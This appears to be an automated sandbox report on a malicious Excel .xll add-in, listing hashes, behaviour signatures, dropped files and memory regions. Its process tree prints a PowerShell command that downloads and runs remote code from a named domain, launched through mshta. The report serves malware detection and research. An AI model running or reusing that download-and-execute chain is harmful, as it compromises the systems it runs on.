Analysis

  • max time kernel
    101s
  • max time network
    125s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22-05-2024 20:53

General

  • Target

    98d64d63076dfb7891e76c26866a8b8ea02dc35b9bf62428a88af43a19c3e967.xll

  • Size

    12KB

  • MD5

    eb9da3fc33a9f41789575d2f9d208261

  • SHA1

    edc6bff045fde03e8d69c280e59ec6adef706ab6

  • SHA256

    98d64d63076dfb7891e76c26866a8b8ea02dc35b9bf62428a88af43a19c3e967

  • SHA512

    2ea4a5d9e95bb41a862f509798773d3dd3e3327d4b2e4d3cdf7c5cc12600806d2c70cf8cc28c2ca358025705eb7cdbca3621014394d3f8c5c4334ae2a92ca48b

  • SSDEEP

    192:zL29RBzDzeobchBj8JONfONGBjru+rEPEjr7AhI:v29jnbcvYJO0wBu+vr7CI

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\98d64d63076dfb7891e76c26866a8b8ea02dc35b9bf62428a88af43a19c3e967.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4340
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1168
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4792

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\PF160URQ\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\98d64d63076dfb7891e76c26866a8b8ea02dc35b9bf62428a88af43a19c3e967.xll

    Filesize

    12KB

    MD5

    eb9da3fc33a9f41789575d2f9d208261

    SHA1

    edc6bff045fde03e8d69c280e59ec6adef706ab6

    SHA256

    98d64d63076dfb7891e76c26866a8b8ea02dc35b9bf62428a88af43a19c3e967

    SHA512

    2ea4a5d9e95bb41a862f509798773d3dd3e3327d4b2e4d3cdf7c5cc12600806d2c70cf8cc28c2ca358025705eb7cdbca3621014394d3f8c5c4334ae2a92ca48b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zeufqsei.fxd.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4340-9-0x00007FFB15CE0000-0x00007FFB15EE9000-memory.dmp

    Filesize

    2.0MB

  • memory/4340-13-0x00007FFB15CE0000-0x00007FFB15EE9000-memory.dmp

    Filesize

    2.0MB

  • memory/4340-5-0x00007FFB15D83000-0x00007FFB15D84000-memory.dmp

    Filesize

    4KB

  • memory/4340-6-0x00007FFB15CE0000-0x00007FFB15EE9000-memory.dmp

    Filesize

    2.0MB

  • memory/4340-1-0x00007FFAD5D70000-0x00007FFAD5D80000-memory.dmp

    Filesize

    64KB

  • memory/4340-8-0x00007FFAD39E0000-0x00007FFAD39F0000-memory.dmp

    Filesize

    64KB

  • memory/4340-0-0x00007FFAD5D70000-0x00007FFAD5D80000-memory.dmp

    Filesize

    64KB

  • memory/4340-85-0x00007FFB15CE0000-0x00007FFB15EE9000-memory.dmp

    Filesize

    2.0MB

  • memory/4340-10-0x00007FFB15CE0000-0x00007FFB15EE9000-memory.dmp

    Filesize

    2.0MB

  • memory/4340-4-0x00007FFAD5D70000-0x00007FFAD5D80000-memory.dmp

    Filesize

    64KB

  • memory/4340-14-0x00007FFAD39E0000-0x00007FFAD39F0000-memory.dmp

    Filesize

    64KB

  • memory/4340-65-0x00007FFB15CE0000-0x00007FFB15EE9000-memory.dmp

    Filesize

    2.0MB

  • memory/4340-17-0x00007FFB15CE0000-0x00007FFB15EE9000-memory.dmp

    Filesize

    2.0MB

  • memory/4340-16-0x00007FFB15CE0000-0x00007FFB15EE9000-memory.dmp

    Filesize

    2.0MB

  • memory/4340-15-0x00007FFB15CE0000-0x00007FFB15EE9000-memory.dmp

    Filesize

    2.0MB

  • memory/4340-3-0x00007FFAD5D70000-0x00007FFAD5D80000-memory.dmp

    Filesize

    64KB

  • memory/4340-7-0x00007FFB15CE0000-0x00007FFB15EE9000-memory.dmp

    Filesize

    2.0MB

  • memory/4340-11-0x00007FFB15CE0000-0x00007FFB15EE9000-memory.dmp

    Filesize

    2.0MB

  • memory/4340-12-0x00007FFB15CE0000-0x00007FFB15EE9000-memory.dmp

    Filesize

    2.0MB

  • memory/4340-83-0x00007FFAD5D70000-0x00007FFAD5D80000-memory.dmp

    Filesize

    64KB

  • memory/4340-84-0x00007FFAD5D70000-0x00007FFAD5D80000-memory.dmp

    Filesize

    64KB

  • memory/4340-82-0x00007FFAD5D70000-0x00007FFAD5D80000-memory.dmp

    Filesize

    64KB

  • memory/4340-2-0x00007FFAD5D70000-0x00007FFAD5D80000-memory.dmp

    Filesize

    64KB

  • memory/4340-81-0x00007FFAD5D70000-0x00007FFAD5D80000-memory.dmp

    Filesize

    64KB

  • memory/4792-42-0x00000000054C0000-0x0000000005AEA000-memory.dmp

    Filesize

    6.2MB

  • memory/4792-56-0x00000000062E0000-0x000000000632C000-memory.dmp

    Filesize

    304KB

  • memory/4792-57-0x0000000007B00000-0x000000000817A000-memory.dmp

    Filesize

    6.5MB

  • memory/4792-58-0x00000000067A0000-0x00000000067BA000-memory.dmp

    Filesize

    104KB

  • memory/4792-55-0x0000000006290000-0x00000000062AE000-memory.dmp

    Filesize

    120KB

  • memory/4792-54-0x0000000005E30000-0x0000000006187000-memory.dmp

    Filesize

    3.3MB

  • memory/4792-44-0x0000000005CE0000-0x0000000005D46000-memory.dmp

    Filesize

    408KB

  • memory/4792-45-0x0000000005DC0000-0x0000000005E26000-memory.dmp

    Filesize

    408KB

  • memory/4792-43-0x0000000005410000-0x0000000005432000-memory.dmp

    Filesize

    136KB

  • memory/4792-41-0x0000000002DD0000-0x0000000002E06000-memory.dmp

    Filesize

    216KB